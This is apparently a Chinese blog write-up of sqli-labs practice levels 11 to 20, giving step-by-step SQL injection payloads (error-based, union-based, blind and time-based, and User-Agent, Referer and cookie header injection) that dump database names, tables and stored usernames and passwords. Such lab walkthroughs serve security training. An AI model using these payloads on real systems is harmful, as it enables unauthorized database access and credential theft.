Sqli-labs闯关题11-20题,详细解答。

爆库payload

 

uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+&passwd=admin&submit=Submit

 

爆表payload

 

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=admin&submit=Submit

 

只能查询到前几个表,后面加上not in ()就可以查到其他表了,如:

 

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in ('emails')))) --+&passwd=admin&submit=Submit

 

这里我们发现没有更多的表了,而users表应该是存放用户信息的,所以我们进入下一步。

 

爆列名payload

 

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=admin&submit=Submit

 

使用同样方法,可以查询到其他列名,直到遍历出所有列名,我们找到password和uername,开始爆值。

 

爆值payload

 

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+&passwd=admin&submit=Submit

 

同样使用not in 可以查询其他值:

 

uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password)

 

Less-11:POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

从这一关开始,我们就接触到了一种新的数据提交方式:post,它主要指的是数据从客户端提交到服务端。和之前的get方式有一些类似。

首先还是要进行注入类型的判断:

uname=admin' and 1=1# &passwd=admin&submit=Submit

(注意:注释符不能再用--+或者--空格,只能用#,因为前者是在url中使用的)

我们发现结果正确,说明这个是字符型注入。

 

 

 我们来验证一下是否存在漏洞:

uname=admin' or 1=1# &passwd=admin&submit=Submit

(居然把用户名和密码搞出来了,当然假设我们不知道)

 

 

 

uname=admin' &passwd=admin&submit=Submit

 

 所以坑定存在注入漏洞。

接下来我步骤相信都很熟悉了:查找显位,爆数据库名,爆表,爆列名,爆数据。

 接下来我们使用联合查询语句 union select来进行爆破,使用 union select的时候要注意,输入的uname必须是一个不存在的,否则将会输出不出来

我们先来查看一下显位:uname=a&passwd=a' order by 3#&submit=Submit

(uname=admin' order by 3#&passwd=admin&submit=Submit)

 

 uname=admin'  union select 1,2#&passwd=admin&submit=Submit

 

 接下来我们进行爆库:uname=a&passwd=a' union select 1,(select group_concat(schema_name)from information_schema.schemata) #&submit=Submit

 

 让我们来查看一下当前的数据库:uname=a&passwd=a' union select 1,database() #&submit=Submit

 

 爆表:uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema="security"#&passwd=1&submit=Submit

 

 爆列:找出用户密码所在位,因为我们没有指定数据库,所以他把所有数据库里面的users表的列名全都列出来,加上and table_schema=database()就可以指定该数据库,注意users旁边要加引号,不加会出错.

uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#&passwd=1

 

 

 爆用户密码:uname=1' union select 1,group_concat(concat_ws(char(32,58,32),id,username,password)) from users#&passwd=1

(uname=a&passwd=a' union select 1,(select group_concat(concat_ws('-',username,password))from security.users) #&submit=Submit)

 

 

 

 第十二关POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入):和十一关差不多,只有数据的包裹形式不同:uname=a&passwd=a")密码爆破 或者uname=admin")就是把单引号闭合换成双引号变形闭合就可以啦

 

第十三关:POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

我们发现无论输入结果正确还是错误,都没有回显,这就和我们五关所遇到情况一样,那样我们就确定是布尔型盲注了。经过验证,还是单引号闭合型  :(‘’)进行闭合

 

 

 

 

 

 

判断数据库的长度为8,(时间延迟型注入):uname=admin') and if(length(database())=8,1,sleep(5)) #&passwd=admin&submit=Submit

 

 爆用户名和密码:

 

 好了,在这里我就不多说了,第五关都有详细的介绍,无论是盲注二分法,还是时间延时型注入。只需要把首尾注释符号改变一下就行了!

第十四关POST - Double Injection - Single quotes-  String -twist (POST单引号变形双注入):只是把单引号变成双引号:(“”) 

详细过程就不在说了。

 

 

 爆出数据:uname=admin" and left((select password from users order by id limit 0,1),4)="dumb"#&passwd=admin&submit=Submit

 

 第十五关POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注):将数据包裹格式改为:‘’

 

 爆出账户密码;

1. uname=adminadmin&passwd=admiand' or if(length(database())>1000,1,sleep(5))#&submit=Submit通过这个来判断其长度

2. uname=adminadmin&passwd=admiand‘ or left((select table_name from information_schema.tables where table_schema=’security‘ limit 0,1),1)>’a‘#&submit=Submit 使用和less-13相同的方法进行判断,就可以判断出当前security库的第一个表的第一个字母是否大于a

3. uname=adminadmin&passwd=admiand‘ or left((select column_name from information_schema.columns where table_name=’users‘ limit 0,1),1)>’g‘#&submit=Submit 通过同样的方法可以判断users表中的字段数据是否大于g

4. uname=adminadmin&passwd=admiand‘ or left((select username from security.users limit 0,1),1)> ’a‘#&submit=Submit通过这个来判断security.users下的username下第一个字段的第一位,在这里不能直接使用select username,password来一起查询,需要一个个进行查询

第十六关POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注):将数据包裹格式改为:(“”)

 

 

爆用户名和密码;

用户名只要写成admin“)#  户名密码( 万能密码),没有密码也可以进。

第十七关POST - Update Query- Error Based - String (基于错误的更新查询POST注入):

经过试验,我们发现常见的数据包裹形式都不可以,那可怎么办呐?

代码中使用了get_magic_quotes_gpc name和password分开验证,我发现这关对username做了很严格的过滤,对各种引号括号进行了转义,所以只能在password处注入。

经过试验发现布尔型盲注和时间盲注都不可行,那么就只能进行报错型注入了,使用updatexml():

查找当前数据库:

uname=admin&passwd=a' and updatexml(1,concat(0x7e,(databese())),1)#&submit=Submit

 

 

查表:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'  limit 3,1),0x7e),1)#&submit=Submit

查列:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'  limit 4,1),0x7e),1)#&submit=Submit

 

 

查用户密码信息:uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from (select password from security.users  limit 0,1)users ),0x7e),1)#&submit=Submit

 注意:这里之所以使用两层select,是因为会出现报错:

 意思是不能select出同一表中的某些值,这是再用一个select中间一下就可以了

参考:https://blog.csdn.net/z_youarethebest/article/details/53785487

第十八关:POST - Header Injection - Uagent field - Error based (基于错误的用户代理,头部POST注入)  报错型,单引号,user-agent型注入点。

在这一关中 ,完善了上一关对password的转义和过滤。所以这一关我们就要借助burp抓包神器了。

抓包神奇怎么用一会我会单独介绍(burp软件):

查当前库:' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata  limit 5,1),0x7e),1) and'

 

 

 查表:

 

 

 查列:

 

 查信息:

 

 好了,就这样吧!

第十九关:POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)    单引号,报错型,referer型注入点,和上一题基本一样。

 

     爆库:'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and'

 

 

’and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) and'

 

 二十关:POST - Cookie injections - Uagent field  - Error based (基于错误的cookie头部POST注入) 单引号,报错型,cookie型注入。

进来先输入用户名密码,测试一下,发现是关于cookie值的进行注入,点击进入进行注入:

 

 在这里进行注入:

 

 改cookie:uname=admin',报错,说明存在注入漏洞

 

 爆出语法是单引号形势。

1, Cookie: uname=admin' order by 3--+ //1-3 正常 

2,Cookie: uname=admin' order by 4--+ //4 不正常 ,确定行数为3

 

 

爆库payload

Cookie: uname=-admin' union select 1,2,database()--+

  

 获得表名,获得列名,获得用户名密码,和第一关的payload一样,不再演示了

 

 

 

 

 

暂时就这样啊吧!

sqli-lab教程——1-35通关Writeup

SQL注入靶场sqli-labs 1-65关全部通关教程

sqli-labs (less11-less14)

sqli-labs ————less -11(POST注入)

重闯Sqli-labs关卡第三天(11-15关)

 

这个世界你真美好
原文地址:https://www.cnblogs.com/li2019/p/12363729.html